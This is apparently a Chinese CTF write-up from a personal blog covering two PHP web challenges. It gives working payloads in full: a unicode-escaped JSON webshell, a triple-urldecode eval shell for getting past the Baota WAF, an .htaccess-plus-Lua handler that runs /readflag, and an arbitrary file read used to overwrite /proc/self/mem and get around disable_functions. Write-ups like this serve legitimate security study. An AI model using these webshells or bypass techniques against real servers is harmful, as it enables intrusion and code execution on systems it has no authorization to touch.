题目质量很高,嗯,太菜了只能复现
源码:
<?php
include 'security.php';
if(!isset($_GET['source'])){
show_source(__FILE__);
die();
}
$sandbox = 'sandbox/'.sha1($_SERVER['HTTP_X_FORWARDED_FOR']).'/';
var_dump($sandbox);
if(!file_exists($sandbox)){
mkdir($sandbox);
file_put_contents($sandbox."index.php","<?php echo 'Welcome To Dbapp OSS.';?>");
}
$action = $_GET['action'];
$content = file_get_contents("php://input");
if($action == "write" && SecurityCheck('filename',$_GET['filename']) &&SecurityCheck('content',$content)){
$content = json_decode($content);
$filename = $_GET['filename'];
$filecontent = $content->content;
$filename = $sandbox.$filename;
file_put_contents($filename,$filecontent."\n Powered By Dbapp OSS.");
}elseif($action == "reset"){
$files = scandir($sandbox);
foreach($files as $file) {
if(!is_dir($file)){
if($file !== "index.php"){
unlink($sandbox.$file);
}
}
}
}
else{
die('Security Check Failed.');
}
如果我们传入json格式的数据,可以写入文件,而文件名可控,文件内容则是json中的content的值,然鹅会发现一旦传入content作为键的话是无法通过check的:
测试发现是过滤了on,这道题主要的trick点在于php中的json_decode能够解析unicode,并且这里可以直接写一句话马儿。
GET /?source&action=write&filename=a.php HTTP/1.1
{"\u0063\u006f\u006e\u0074\u0065\u006e\u0074":"\u003c\u003f\u0070\u0068\u0070\u0020\u0065\u0076\u0061\u006c\u0028\u0024\u005f\u0050\u004f\u0053\u0054\u005b\u0031\u005d\u0029\u003f\u003e"}
发现是可以直接写php马,1.php是无法通过,但a.php却可以通过,根目录下有个readflag,直接输出flag。
看了下源码发现正则是写这样的:
if(preg_match("/[^a-z\.]/", $content) !== 0) {
return false;
}
发现如果传的文件后缀不符合就会一直卡着,这个考了一个换行绕过,传一个phpinfo发现disable有点多:
传个一句话马儿发现有宝塔,写个三次url解码即可绕过宝塔waf。
<?php
eval(urldecode(urldecode(urldecode($_POST['hhhm']))));
?>
后续会学习一波蚁剑自写编码器。
这里借用了其他师傅的wp: 上传htaccess解析lua
AddHandler lua-script .lua
之后上传lua
require "string"
--[[
This is the default method name for Lua handlers, see the optional
function-name in the LuaMapHandler directive to choose a different
entry point.
--]]
function handle(r)
r.content_type = "text/plain"
r:puts("Hello Lua World!\n")
local t = io.popen('/readflag')
local a = t:read("*all")
r:puts(a)
if r.method == 'GET' then
for k, v in pairs( r:parseargs() ) do
r:puts( string.format("%s: %s\n", k, v) )
end
else
r:puts("Unsupported HTTP method " .. r.method)
end
ends
上去看源码发现:
setInterval(function() {
$.get("backend.php", {
readfile: "data/FakeCTFer.txt"
}, function(data, status) {
$('#fake').html(data);
});
$.get("backend.php", {
readfile: "data/RealCTFer.txt"
}, function(data, status) {
$('#real').html(data);
});
}, 1000);
$('#real-sub').click(function() {
$.get("backend.php", {
writefile: "data/RealCTFer.txt",
buffer: $('#real-text').val()+ "\n\n",
offset: $('#real').html().length
});
$('#real-text').val("");
});
$('#fake-sub').click(function() {
$.get("backend.php", {
writefile: "data/FakeCTFer.txt",
buffer: $('#fake-text').val() + "\n\n",
offset: $('#fake').html().length
});
$('#fake-text').val("");
});
这里传入:
backend.php?readfile=/etc/passwd
可以进行任意文件读取,首先把源码读一下:
<?php
$offset = isset($_GET['offset']) ? $_GET['offset'] : 0;
$buffer = isset($_GET['buffer']) ? $_GET['buffer'] : "";
if (isset($_GET['writefile'])) {
$fp = fopen($_GET['writefile'], "a");
fseek($fp, $offset);
fwrite($fp, $buffer);
fclose($fp);
}
if (isset($_GET['readfile'])) {
echo file_get_contents($_GET['readfile']);
}
这里可以进行文件的写入,但测试发现没有写入的权限(除了tmp目录
读取/proc/self/maps
泄露出动态链接库的内存地址:
这里泄露了libc的路径,先把libc通过ssrf下下来,通过readelf获取到system的偏移地址。
然后动态链接库的地址+system的偏移地址就能够取得system的地址。
<?php
echo dechex(0x7ffff5f40000+0x0000000000046590);
//0x7ffff5f86590
换一下大小端:
import binascii
def big_small_end_convert(data):
return binascii.hexlify(binascii.unhexlify(data)[::-1])
if __name__ =='__main__':
di = b'7ffff5f86590'
do = big_small_end_convert(di)
print(di)
print(do)
//b'7ffff5f86590'
//b'9065f8f5ff7f'
https://github.com/beched/php_disable_functions_bypass/blob/master/procfs_bypass.php
脚本改改算出来open的偏移:
得到payload:
backend.php?
readfile=/readflag>/tmp/hhhm&writefile=/proc/self/mem&buffer=%90%65%f8%f5%ff%7f&offset=15333784
本文原创于HhhM的博客,转载请标明出处。
_ _ _ _ ___ ___ | | | | | | | | \/ | | |_| | |__ | |__ | . . | | _ | '_ \| '_ \| |\/| | | | | | | | | | | | | | | \_| |_/_| |_|_| |_\_| |_/